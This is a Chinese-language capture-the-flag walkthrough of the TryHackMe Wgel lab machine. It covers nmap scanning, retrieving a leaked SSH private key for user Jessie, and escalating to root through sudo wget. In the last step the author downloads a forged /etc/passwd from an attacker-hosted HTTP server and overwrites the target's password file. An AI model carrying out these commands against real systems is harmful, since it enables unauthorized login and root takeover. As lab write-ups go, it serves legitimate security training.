tryhackme--Wgel CTF

这个靶机涉及的知识点有ssh的公钥算法知识和sudo提权常用手法。

nmap

简单扫描靶机的服务

nmap -T4 -sS -sV 10.10.247.24

)深度扫描也没没有什么可以直接利用的漏洞)

nmap -T4 -sS -sV 10.10.247.24  --script vuln 

目标机器为linux主机,并且目标主机开放了两个端口:22、80。

端口 服务
22 ssh
80 http

id_rsa信息泄漏

访问80端口,发现为apache的默认页面,查看页面源代码,发现一句很有趣的话,其中 Jessie 可能为用户名

用dirsearch扫描站点,发现一个目录,访问进入真正的网站

但是目前除了一个可能的用户名我们没有其他的信息,试着再对其进行深度扫描,发现一个RSA文件,这个文件是ssh登录用户的私钥,有了用户名和私钥我们便可以登录目标主机。


将它下载下来并赋予权限600

wget http://10.10.247.24/sitemap/.ssh/id_rsa
chmod 600 id_rsa 

接下来用私钥登录目标主机

ssh Jessie@10.10.247.24 -i id_rsa 

在jessie的家目录经过一番查找发现user flag

wget的sudo提权

查看当前用户是否可以执行sudo命令,要是不了解sudo命令及其提权原理的可以自行百度。可以看到当前用户可以不用密码以root的身份执行wget命令,wget命令有一个-O选项可以重命名下载的文件,因此我们就可以以root的身份之执行该命令,重命名我们编写好的恶意的/etc/passwd文件,达到覆盖目标主机的密码文件的效果。

具体过程如下,我们在攻击机上编写一个全新的/etc/passwd文件,将root的密码替换为我们自己的密码,实在不会弄hash就直接用自己kali上的shaow文件中的hsah值。

在攻击机上开启简易的http服务,靶机上下载修改过的密码文件,可以看到目标主机的密码文件已经被替换。

python -m SimpleHTTPServer //攻击机上执行
sudo  -u root /usr/bin/wget http://10.9.xxx.xx:8000/11 -O /etc/passwd  //靶机上执行

切换root用户,输入我们替换的hash的对应的密码,成功登录,读取最后的flag。


  转载请注明: XingHe tryhackme--Wgel CTF

  目录